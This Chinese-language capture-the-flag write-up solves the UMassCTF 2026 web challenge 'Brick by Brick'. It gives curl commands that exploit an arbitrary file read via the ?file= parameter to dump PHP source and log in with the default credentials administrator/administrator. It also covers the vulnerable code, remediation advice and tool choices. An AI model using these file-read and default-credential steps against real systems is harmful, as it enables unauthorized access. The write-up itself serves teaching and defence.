UMassCTF 2026 - Brick by Brick Writeup¶
题目信息¶
- 比赛: UMassCTF 2026
- 题目: Brick by Brick
- 类别: Web
- 难度: 简单
- 附件/URL:
http://brick-by-brick.web.ctf.umasscybersec.org:32769/ - 附件链接: 无附件,题目为在线靶机
- Flag格式:
UMASS{...} - 状态: 已解
Flag¶
UMASS{4lw4ys_ch4ng3_d3f4ult_cr3d3nt14ls}
解题过程¶
1. 初始侦察/文件识别¶
- 入口点只有一个极简首页:
http://brick-by-brick.web.ctf.umasscybersec.org:32769/ - 页面内容非常少,没有 JavaScript,也没有明显的后台入口
先用 curl 查看原始响应,确认只是一个静态欢迎页:
HTTP/1.1 200 OK
Server: Apache/2.4.66 (Debian)
X-Powered-By: PHP/8.2.30
Content-Type: text/html; charset=UTF-8
继续查看 robots.txt,这里直接给了关键线索:
User-agent: *
Disallow: /internal-docs/assembly-guide.txt
Disallow: /internal-docs/it-onboarding.txt
Disallow: /internal-docs/q3-report.txt
这说明站点里存在一个没有在前台链接出来的 /internal-docs/ 目录,可以先从这里入手。
2. 关键突破点一¶
读取 it-onboarding.txt 后,文档中给出了两条非常重要的信息:
The internal document portal lives at our main intranet address.
Staff can access any file using the ?file= parameter:
Credentials are stored in the application config file
for reference by the IT team. See config.php in the web root.
这段话等价于明示:
- 主站存在
?file=文件读取功能。 - 配置文件
config.php位于 Web 根目录。
于是直接访问:
/?file=config.php
返回内容中出现了后台路径:
// The admin dashboard is located at /dashboard-admin.php.
同时还能看到开发人员把后台凭据放在配置里,只是把密码字段手工“删掉”了:
define('ADMIN_USER', 'administrator');
define('ADMIN_PASS', '[deleted it for safety reasons - Tom]');
这说明题目的核心漏洞已经成立:index.php 存在任意文件读取,攻击者可以直接读取同目录下的敏感源码。
3. 关键突破点二¶
既然已经知道后台入口是 /dashboard-admin.php,下一步最直接的做法不是爆破登录,而是继续读源码:
/?file=dashboard-admin.php
源码开头直接写死了后台默认凭据和 flag:
define('DASHBOARD_USER', 'administrator');
define('DASHBOARD_PASS', 'administrator');
define('FLAG', 'UMASS{4lw4ys_ch4ng3_d3f4ult_cr3d3nt14ls}');
并且登录逻辑就是最普通的字符串比较:
if ($user === DASHBOARD_USER && $pass === DASHBOARD_PASS) {
$_SESSION['logged_in'] = true;
$logged_in = true;
}
这里可以看出两件事:
- 后台账号仍在使用默认口令
administrator / administrator - flag 会在登录成功后渲染到后台页面中
4. 获取 Flag¶
最后直接向后台提交默认凭据即可:
curl -c cookies.txt -b cookies.txt \
-X POST \
-d "username=administrator&password=administrator" \
http://brick-by-brick.web.ctf.umasscybersec.org:32769/dashboard-admin.php
登录后的页面返回:
<div class="flag-value">UMASS{4lw4ys_ch4ng3_d3f4ult_cr3d3nt14ls}</div>
因此最终 flag 为:
UMASS{4lw4ys_ch4ng3_d3f4ult_cr3d3nt14ls}
攻击链/解题流程总结¶
访问 robots.txt → 发现 /internal-docs/ → 阅读 onboarding 文档 → 发现 ?file= 文件读取 → 读取 config.php 拿到后台路径 → 读取 dashboard-admin.php 源码 → 获得默认凭据与 flag → 登录后台取 flag
漏洞分析 / 机制分析¶
根因¶
- 主站
index.php直接将用户提供的file参数拼接到/var/www/html/后做file_get_contents(),形成任意文件读取 - 开发者把敏感信息写在源码和配置文件中,包括后台路径、默认账号口令和 flag
- 后台继续使用默认凭据
administrator / administrator,且没有任何额外访问控制
题目中的核心代码逻辑大致如下:
if (isset($_GET['file'])) {
$file = $_GET['file'];
$path = '/var/www/html/' . $file;
if (file_exists($path)) {
echo "<pre>" . htmlspecialchars(file_get_contents($path)) . "</pre>";
}
exit;
}
影响¶
- 攻击者可读取 Web 根目录下的任意文件
- 配置文件、后台源码、凭据、业务逻辑和敏感常量都会被直接暴露
- 一旦源码中存在默认凭据或硬编码密钥,攻击者可进一步接管后台
修复建议(适用于漏洞类题目)¶
- 禁止使用用户可控参数直接拼接文件路径;改为白名单映射
- 文档查看功能应限制在固定目录,并做规范化路径校验
- 后台凭据、数据库密码、密钥等敏感信息应放入环境变量或安全配置中心
- 上线前移除默认口令,并强制管理员首次登录修改密码
- 敏感源码文件不应通过 Web 应用逻辑直接回显给前端
知识点¶
- 任意文件读取(LFI / File Read)在 PHP 题里经常由
?file=、page=、include=这类参数引出 robots.txt不仅不是安全边界,反而常常会泄露隐藏目录和敏感路径- 拿到配置文件后,优先继续读后台源码,比盲猜口令或爆破更高效
使用的工具¶
- curl — 直接拉取页面、文档和源码,并提交登录请求
- 浏览器开发者工具 / Playwright — 快速确认前台页面结构和资源加载情况
- PowerShell — 小范围枚举常见路径,辅助定位隐藏入口
脚本归档¶
- Python:
UMassCTF2026_Brick_by_Brick.py - 说明:脚本使用 Python 标准库自动完成文档发现、源码读取、flag 提取与登录验证
命令行提取关键数据(无 GUI)¶
# 1. 查看 robots.txt,发现隐藏文档目录
curl http://brick-by-brick.web.ctf.umasscybersec.org:32769/robots.txt
# 2. 读取 onboarding 文档,发现 ?file= 与 config.php 线索
curl "http://brick-by-brick.web.ctf.umasscybersec.org:32769/internal-docs/it-onboarding.txt"
# 3. 利用文件读取拿到配置文件
curl "http://brick-by-brick.web.ctf.umasscybersec.org:32769/?file=config.php"
# 4. 继续读取后台源码
curl "http://brick-by-brick.web.ctf.umasscybersec.org:32769/?file=dashboard-admin.php"
# 5. 用默认凭据登录后台并验证 flag
curl -c cookies.txt -b cookies.txt \
-X POST \
-d "username=administrator&password=administrator" \
http://brick-by-brick.web.ctf.umasscybersec.org:32769/dashboard-admin.php
推荐工具与优化解题流程¶
工具对比总结¶
| 工具 | 适用阶段 | 本题耗时 | 优点 | 缺点 |
|---|---|---|---|---|
| curl | 侦察、读取源码、提交登录 | ~3 分钟 | 快、无依赖、复现性强 | 交互性一般 |
| Burp Suite | 手工重放与参数测试 | ~5 分钟 | 适合观察请求细节和反复修改参数 | 需要 GUI |
| ffuf / dirbust | 路径枚举 | ~5 分钟 | 适合发现隐藏目录 | 对这题来说属于辅助,不是核心 |
推荐流程¶
推荐流程:curl 查看响应与 robots.txt → 读取内部文档 → 验证 ?file= 文件读取 → 读取配置与后台源码 → 提交默认凭据登录 → Flag。整题手工完成一般不超过 10 分钟。
工具 A(推荐首选)¶
- 安装:系统自带
curl即可 - 详细步骤:
- 访问首页与
robots.txt,收集隐藏路径 - 读取内部文档,确认
?file=和目标文件名 - 直接读取
config.php与dashboard-admin.php,提取凭据和 flag - 优势:最贴合这题的利用链,不需要额外脚本和复杂代理设置
工具 B(可选)¶
- 安装:Burp Suite Community / Professional
- 详细步骤:
- 用浏览器抓首页请求
- 在 Repeater 中手工修改
?file=参数 - 观察后台登录请求与响应,确认 flag 是否真实存在于页面
- 优势:适合教学和演示,也方便后续做更复杂的参数测试